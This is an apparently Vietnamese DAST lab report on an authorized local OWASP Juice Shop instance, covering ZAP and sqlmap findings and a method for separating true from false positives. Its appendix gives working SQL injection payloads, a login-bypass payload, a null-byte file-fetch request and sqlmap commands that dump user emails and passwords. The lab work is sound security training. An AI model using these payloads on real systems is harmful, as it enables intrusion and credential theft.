Lab thật · OWASP Juice Shop

Hands-on DAST trên Juice Shop

Số liệu từ engagement local (ZAP + sqlmap + verify curl). Giao diện Stitch light — mọi KPI/bảng lấy từ findings.json, không dùng mock.

True Positive (TP) Đang tải findings…
False Positive (FP) Đang tải findings…
Nghiêm trọng (Critical) CVSS Critical
Ngày 2026-08-05 (Asia/Saigon) Target http://localhost:3000 · juice-shop:latest DB SQLite · 6.2.0-SNAPSHOT Tools ZAP stable · sqlmap 1.10.8.1 · curl Findings đã verify

Phạm vi

Lab cục bộ, có phép. Khai thác tối thiểu để proof-of-impact — không đụng hệ thống ngoài, không exploit hàng loạt.

Nghiệm thu

2 vòng review đối chiếu artifact. F12 (%2e) là FP (SPA catch-all trả index.html) — minh họa vì sao verify bắt buộc.

Tỷ lệ xác thực (TP / FP)

Phân bố severity (CVSS 3.1)

Phương pháp verify (cách quyết định TP/FP)

Một alert của scanner chỉ là giả thuyết. Mỗi finding được phân loại TP hay FP theo checklist sau (đúc từ FIRST CVSS 3.1, OWASP, ZAP alert docs):

  1. Tái hiện độc lập — replay đúng request bằng curl (không tin "evidence" mà tool tự khai).
  2. Quan sát differential thật — so payload tấn công vs control lành tính; khác biệt chỉ giải thích được bằng lỗ hổng.
  3. Bằng chứng tác động (proof-of-impact) — không chỉ "payload phản chiếu" mà là kết quả thật: trích được dữ liệu (SQLi), lấy được file (path bypass), truy cập chéo quyền (BAC), script chạy (XSS).
  4. Loại trừ nguyên nhân lành tính — output encoding, parameterized query nuốt input, trang 500 chung chung, control chỉ áp dụng cho TLS trên app HTTP cục bộ, rule chỉ mang tính informational, hoặc SPA catch-all trả 200 cho mọi path (bẫy FP kinh điển — xem F12).
  5. Chấm Severity và Confidence tách biệt — Severity = mức tác động nếu có thật (CVSS 3.1); Confidence = mức chắc chắn nó có thật (ZAP Low→Medium→High→Confirmed). Hai trục khác nhau, không gộp làm một.
  6. Lưu bằng chứng — request + trích response + 1 dòng giải thích nhân quả, lưu ở artifacts/evidence/.

Định nghĩa TP / FP / TN / FN dùng trong báo cáo

Thuật ngữNghĩa ở đây
True Positive (TP)Scanner báo VÀ tái hiện thủ công chứng minh lỗ hổng thật, khai thác được.
False Positive (FP)Scanner báo NHƯNG tái hiện cho thấy không khai thác được (differential trùng hợp, bị encode vô hiệu, chỉ informational, hoặc bối cảnh khiến không khai thác được).
True Negative (TN)Không báo và thực sự không dính (đánh giá độ phủ, không phải dòng trong bảng).
False Negative (FN)Lỗ hổng thật mà scanner bỏ sót — chỉ biết qua phương pháp thứ hai (thủ công/sqlmap). Ghi ở §2.7.
Severity vs Confidence (khái niệm cốt lõi). Một finding có thể High severity / Low confidence (scanner nghi SQLi nghiêm trọng nhưng chưa tái hiện được) hoặc Low severity / Confirmed (một header chắc chắn thiếu nhưng tác động thấp). Dải CVSS 3.1: None 0.0 · Low 0.1–3.9 · Medium 4.0–6.9 · High 7.0–8.9 · Critical 9.0–10.0.

Tiếp theo: Kết quả tool →

Phụ lục

Phụ lục A — Lệnh tái hiện

# Deploy
docker run -d --name juice-shop -p 3000:3000 bkimminich/juice-shop:latest

# sqlmap (search SQLi + dump)
python3 sqlmap.py -u "http://localhost:3000/rest/products/search?q=apple" \
  --batch --level=3 --risk=2 --dbms=sqlite --technique=BEUST
python3 sqlmap.py -u "http://localhost:3000/rest/products/search?q=apple" \
  --batch --level=3 --risk=2 --dbms=sqlite --technique=E -T Users -C email,password --dump

# ZAP (Docker)
docker run --rm --network host -v "$PWD/zap:/zap/wrk:rw" ghcr.io/zaproxy/zaproxy:stable \
  zap-baseline.py -t http://localhost:3000 -J zap-baseline.json -r zap-baseline.html -m 3 -I
docker run --rm --network host -v "$PWD/zap:/zap/wrk:rw" ghcr.io/zaproxy/zaproxy:stable \
  zap-full-scan.py -t http://localhost:3000 -J zap-full.json -r zap-full.html -m 4 -I -j

# Verify thủ công (trích)
curl -sG http://localhost:3000/rest/products/search \
  --data-urlencode "q=x')) UNION SELECT id,email,password,'4','5','6','7','8','9' FROM Users--"
curl -s -X POST http://localhost:3000/rest/user/login -H 'Content-Type: application/json' \
  --data '{"email":"'"'"' OR 1=1--","password":"x"}'
curl -s "http://localhost:3000/ftp/package.json.bak%2500.md"   # null-byte TP (F4)
curl -s "http://localhost:3000/%2e/ftp/coupons_2013.md.bak"    # %2e => index.html => FP (F12)

Phụ lục B — Artifact & nguồn

  • Artifact: plans/260805-0015-track0-dast/artifacts/zap/zap-baseline.{json,html,md}, zap/zap-full.*, sqlmap/*.log, sqlmap/session/.../Users.csv, evidence/*.{json,txt,html}.
  • Note review (nghiệm thu): plans/reports/review-260805-0903-track0-round1.md (+ round2).
  • Note research (nền cho báo cáo): plans/reports/research-{juiceshop-vulns,zap-methodology,sqlmap-juiceshop,tpfp-cwe,llm-dast-arch}.md.
  • Nguồn chính: OWASP Juice Shop pwning guide; OWASP Top 10:2021; MITRE CWE; FIRST CVSS 3.1; ZAP alerts docs; PentestGPT (arXiv 2308.06782); CAI (arXiv 2504.06017); xOffense (arXiv 2509.13021); ZAP+LLM (zaproxy.org/tags/llm); Nuclei-AI (ProjectDiscovery); Datadog LLM FP-filtering.